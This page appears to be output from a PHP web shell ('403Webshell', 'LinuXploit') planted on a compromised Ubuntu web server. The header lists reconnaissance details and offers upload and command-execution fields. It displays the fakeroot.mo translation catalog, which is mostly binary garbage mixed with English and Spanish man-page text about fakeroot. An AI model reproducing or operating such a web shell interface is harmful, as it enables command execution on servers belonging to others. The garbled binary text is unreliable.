403Webshell
Server IP : 104.21.84.107  /  Your IP : 104.23.243.196
Web Server : Apache/2.4.63 (Ubuntu)
System : Linux adminpruebas-Virtual-Machine 6.14.0-37-generic #37-Ubuntu SMP PREEMPT_DYNAMIC Fri Nov 14 22:10:32 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.4.5
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/locale-langpack/es/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/locale-langpack/es/LC_MESSAGES/fakeroot.mo
��Ida�051g
oz�	�����%�	 	<	B	Q	
d	r	�	��	y&
W�
��
���

+
7

F

T
b
s
�
�
�
�
x�
_�e�M����<�&27D?&����*��.	'8�`8DT[q�"d(��W�M
�[�/5� 
  2 	B L a n t +� � � � � !
!'!E!�W!��![w"�"�$�$�$�$%%$%4%E%W%$l%�%�%�%�%z�%[&�d&�H'��(�+��+@�,�,�,�,U�,+U-�-�-�-.�-��-9�0%191P2\2az2y�2V3n\3�3�3s�3Qg4��4�6�6AC2#5-*/ &F)	@=,I7
:.3$?<B(1G
D%;H9>0"84+E!'6$  whoami
joost
$ fakeroot /bin/bash
#  whoami
root
# mknod hda3 b 3 1
# ls -ld hda3
brw-r--r--   1 root     root       3,   1 Jul  2 22:58 hda3
# chown joost:root hda3
# ls -ld hda3
brw-r--r--   1 joost    root       3,   1 Jul  2 22:58 hda3
# ls -ld /
drwxr-xr-x  20 root     root         1024 Jun 17 21:50 /
# chown joost:users /
# chmod a+w /
# ls -ld /
drwxrwxrwx  20 joost    users        1024 Jun 17 21:50 /
# exit
$ ls -ld /
drwxr-xr-x  20 root     root         1024 Jun 17 21:50 //
$ ls -ld hda3
-rw-r--r--   1 joost    users           0 Jul  2 22:58 hda3
AUTHORSB<--debug>B<--faked>I<\ binary>B<--foreground>B<--load>B<--unknown-is-real>B<-b>I<\ fd>B<-h>B<-i>I<\ load-file>B<-l> I<library>, B<--lib> I<library>B<-s>I<\ save-file>B<-u>, B<--unknown-is-real>B<-v>B<FAKEROOTKEY>B<LD_LIBRARY_PATH>B<LD_PRELOAD>B<Library versions>B<[--]>I<\ command>B<faked> B<[--debug] [--foreground] [--cleanup] [--key> I<msg-key>B<]> B<[--load] [--save-file> I<save-file>B<]> B<[--port> I<TCP-port>B<]>B<fakeroot> is a regular, non-setuid program. It does not enhance a user's privileges, or decrease the system's security.B<fakeroot> is distributed under the GNU General Public License.  (GPL 2.0 or greater).B<fakeroot> runs a command in an environment wherein it appears to have root privileges for file manipulation.  This is useful for allowing users to create archives (tar, ar, .deb etc.) with files in them with root permissions/ownership.  Without B<fakeroot> one would need to have root privileges to create the constituent files of the archives with the correct permissions and ownership, and then pack them up, or one would have to construct the archives directly, without using the archiver.B<open()/create()>BUGSCOPYINGCleanup the semaphores.Clint AdamsDESCRIPTIONDebian ProjectDebian manualDisplay help.Display version.Don't fork into the background.E<lt>I<[email protected]>E<gt>E<lt>I<[email protected]>E<gt>ENVIRONMENTEXAMPLESEvery command executed within B<fakeroot> needs to be linked to the same version of the C library as B<fakeroot> itself.FILESHere is an example session with B<fakeroot>.  Notice that inside the fake root environment file manipulation that requires root privileges succeeds, but is not really happening.If you intend to build packages with B<fakeroot>, please try building the fakeroot package first: the "debian/rules build" stage has a few tests (testing mostly for bugs in old fakeroot versions). If those tests fail (for example because you have certain libc5 programs on your system), other packages you build with fakeroot will quite likely fail too, but possibly in much more subtle ways.It doesn't wrap open(). This isn't bad by itself, but if a program does open("file", O_WRONLY, 000), writes to file "file", closes it, and then again tries to open to read the file, then that open fails, as the mode of the file will be 000. The bug is that if root does the same, open() will succeed, as the file permissions aren't checked at all for root. I choose not to wrap open(), as open() is used by many other functions in libc (also those that are already wrapped), thus creating loops (or possible future loops, when the implementation of various libc functions slightly change).LIMITATIONSLoad a fakeroot environment previously saved using -s from load-file.  Note that this does not implicitly save the file, use -s as well for that behaviour. Using the same file for both -i and -s in a single B<fakeroot> invocation is safe.Load a previously saved environment from the standard input.MANUAL PAGENAMEOPTIONSOnly the effects that user B<joost> could do anyway happen for real.Print debugging information on stderr.SECURITY ASPECTSSEE ALSOSYNOPSISSave the environment to save-file on exit.Save the fakeroot environment to save-file on exit. This file can be used to restore the environment later using -i. However, this file will leak and fakeroot will behave in odd ways unless you leave the files touched inside the fakeroot alone when outside the environment. Still, this can be useful. For example, it can be used with rsync(1) to back up and restore whole directory trees complete with user, group and device information without needing to be root. See I</usr/share/doc/fakeroot/README.saving> for more details.Specify an alternative binary to use as faked.Specify an alternative wrapper library.Specify fd base (TCP mode only). fd is the minimum file descriptor number to use for TCP connections; this may be important to avoid conflicts with the file descriptors used by the programs being run under fakeroot.Timo SavolaUse TCP port tcp-port.Use real ownership of previously-unknown files instead of setting them to root:root.Use the real ownership of files previously unknown to fakeroot instead of pretending they are owned by root:root.fakedfaked - daemon that remembers fake ownership/permissions of files manipulated by fakeroot processes.fakerootfakeroot
touch foo
ls -al foo
fakeroot - run a command in an environment faking root privileges for file manipulationfakeroot doesn't wrap open(), create(), etc. So, if user B<joost> does eitherfakeroot, in effect, is changing the way the system behaves. Programs that probe the system like GNU configure may get confused by this (or if they don't, they may stress fakeroot so much that fakeroot itself becomes confused). So, it's advisable not to run "configure" from within fakeroot. As configure should be called in the "debian/rules build" target, running "dpkg-buildpackage -rfakeroot" correctly takes care of this.joost witteveenor the other way around,Project-Id-Version: PACKAGE VERSION
Report-Msgid-Bugs-To: 
PO-Revision-Date: 2025-03-21 07:33+0000
Last-Translator: Ubuntu Archive Auto-Sync <[email protected]>
Language-Team: LANGUAGE <[email protected]>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Launchpad-Export-Date: 2025-04-11 00:37+0000
X-Generator: Launchpad (build e76edd883483c71c468bb038e98836435de44530)
Language: 
$  whoami
joost
$ fakeroot /bin/bash
#  whoami
root
# mknod hda3 b 3 1
# ls -ld hda3
brw-r--r--   1 root     root       3,   1 Jul  2 22:58 hda3
# chown joost:root hda3
# ls -ld hda3
brw-r--r--   1 joost    root       3,   1 Jul  2 22:58 hda3
# ls -ld /
drwxr-xr-x  20 root     root         1024 Jun 17 21:50 /
# chown joost:users /
# chmod a+w /
# ls -ld /
drwxrwxrwx  20 joost    users        1024 Jun 17 21:50 /
# exit
$ ls -ld /
drwxr-xr-x  20 root     root         1024 Jun 17 21:50 //
$ ls -ld hda3
-rw-r--r--   1 joost    users           0 Jul  2 22:58 hda3
AUTORESB<--debug>B<--faked>I<\ binario>B<--foreground>B<--load>B<--unknown-is-real>B<-b>I<\ fd>B<-h>B<-i>I<\ fichero-a-cargar>B<-l> I<biblioteca>, B<--lib> I<biblioteca>B<-s>I<\ fichero-salvado>B<-u>, B<--unknown-is-real>B<-v>B<FAKEROOTKEY>B<LD_LIBRARY_PATH>B<LD_PRELOAD>B<Versiones de la biblioteca>B<[--]>I<\ orden>B<faked> B<[--debug] [--foreground] [--cleanup] [--key> I<número-llave>B<]> B<[--load] [--save-file> I<fichero-salvado>B<]> B<[--port> I<puerto-TCP>B<]>B<fakeroot> es un programa normal, sin el bit setuid. No aumenta los privilegios de un usuario ni disminuye la seguridad del sistema.B<fakeroot> se distribuye bajo la Licencia Pública General de GNU.  (GPL 2.0 o posterior).B<fakeroot> ejecuta una orden en un entorno donde parece que se tiene permisos de superusuario para la manipulación de ficheros. Útil para permitir a usuarios crear archivos (tar, ar, .deb etc.) con ficheros con permisos/propietarios de superusuario.  Sin B<fakeroot> uno necesitaría privilegios de superusuario para crear los ficheros constituyentes del archivo con los permisos y propietario correctos, y después empaquetarlos, o uno tendría que construir los archivos directamente, sin usar el archivador.B<open()/create()>FALLOSCOPIABorra los semáforos.Clint AdamsDESCRIPCIÓNProyecto DebianManual de DebianMuestra la ayuda.Muestra la versión.No realiza un fork en segundo plano.E<lt>I<[email protected]>E<gt>E<lt>I<[email protected]>E<gt>ENTORNOEJEMPLOSToda orden ejecutada con B<fakeroot> necesita enlazarse con la misma versión de la biblioteca de C del mismo B<fakeroot.>FICHEROSAquí hay un ejemplo de una sesión con B<fakeroot>.  Dese cuenta que dentro de un entorno fakeroot la manipulación de ficheros que requiere privilegios de superusuario se realiza con éxito, pero realmente no se lleva a cabo.Si pretende construir paquetes usando B<fakeroot>, es aconsejable construir primero el paquete fakeroot: la etapa "debian/rules build" tiene algunas comprobaciones (la mayoría de ellas buscan fallos de versiones viejas de fakeroot). Si estas pruebas fallan (por ejemplo, porque tiene ciertos programas libc5 en el sistema), también fallará la construcción de otros paquetes mediante fakeroot, pero de formas mucho más sutiles.No envuelve open(). Esto no es malo por si mismo, pero si un programa hace open("fichero", O_WRONLY, 000), escribe en "fichero", lo cierra, y trata de abrirlo de nuevo para leer el fichero, entonces falla al abrirlo, ya que el modo del fichero será 000. El fallo es que si el superusuario hace lo mismo, open()  será satisfactorio, ya que los permisos del fichero no se comprueban para el superusuario. Elegí no envolver open(), ya que open() se usa en muchas otras funciones de libc (incluso en aquellas que ya están envueltas), de forma que se crean bucles (o posibles bucles futuros, cuando la implementación de varias funciones de libc cambie ligeramente).LIMITACIONESCarga un entorno fakeroot de fichero-a-cargar previamente salvado usando -s.  Note que esto no salva implícitamente el fichero, use también -s para conseguir esto. Es seguro usar el mismo fichero para -i y -s en una misma invocación de B<fakeroot.>Carga un entorno previamente salvado desde la entrada estándar.PÁGINA DEL MANUALNOMBREOPCIONESSólo las operaciones que el usuario B<joost> puede hacer se llevan a cabo realmente.Muestra información de depurado en stderr.ASPECTOS DE SEGURIDADVÉASE ADEMÁSSINOPSISSalva el entorno al salir en fichero-salvado .Guarda el entorno fakeroot en fichero-salvado al salir. Este fichero puede usarse para restaurar el entorno más tarde usando -i. Sin embargo, este fichero fallará y fakeroot se comportará de forma extraña a menos que no modifique los ficheros creados (N.T. del inglés touched, haciendo referencia a la orden touch, con la que fakeroot crea algunos ficheros vacíos para simular algunas situaciones) dentro del entorno fakeroot cuando esté fuera del entorno. Aun así, esto puede ser útil. Por ejemplo, puede usarse con rsync(1) para guardar y restaurar el árbol de directorios completo con la información de usuarios, grupos y dispositivos completa sin necesidad de ser superusuario. Consulte I</usr/share/doc/fakeroot/README.saving> para más detalles.Especifica un binario alternativo a usar en vez de faked.Especifica una biblioteca envoltorio.Especifica el descriptor de fichero base (sólo en modo TCP). Fd es el número mínimo de descriptor de fichero a usar para las conexiones TCP, puede ser importante para evitar conflictos con los descriptores de ficheros usados por programas ejecutándose dentro de B<fakeroot.>Timo SavolaUsa el puerto TCP puerto-TCP.Usa el propietario real de ficheros previamente desconocidos en vez de suponer que son root:root.Usa el propietario real para ficheros desconocidos previamente por fakeroot en vez de suponer que pertenecen a root:root.fakedfaked - demonio que recuerda los propietarios/permisos falsos de ficheros manipulados por un proceso fakeroot.fakerootfakeroot
touch tal
ls -al tal
fakeroot - ejecuta una orden en un entorno que falsea privilegios de superusuario para la manipulación de ficherosfakeroot no envuelve open(), create(), etc. Así, que si el usuario B<joost> hacefakeroot, en efecto, cambia el comportamiento del sistema. Los programas que prueban el sistema, como GNU configure, pueden verse confundidos por esto (o si no lo hacen, llevarán a fakeroot tan al límite que será este el que se confunda). Así que es aconsejable no ejecutar el objetivo "configure" en un entorno fakeroot. Como configure debe ejecutarse en "debian/rules build", "dpkg-buildpackage -rfakeroot" tiene cuidado de esto, haciéndolo correctamente.joost witteveeno del otro modo,

Youez - 2016 - github.com/yon3zu
LinuXploit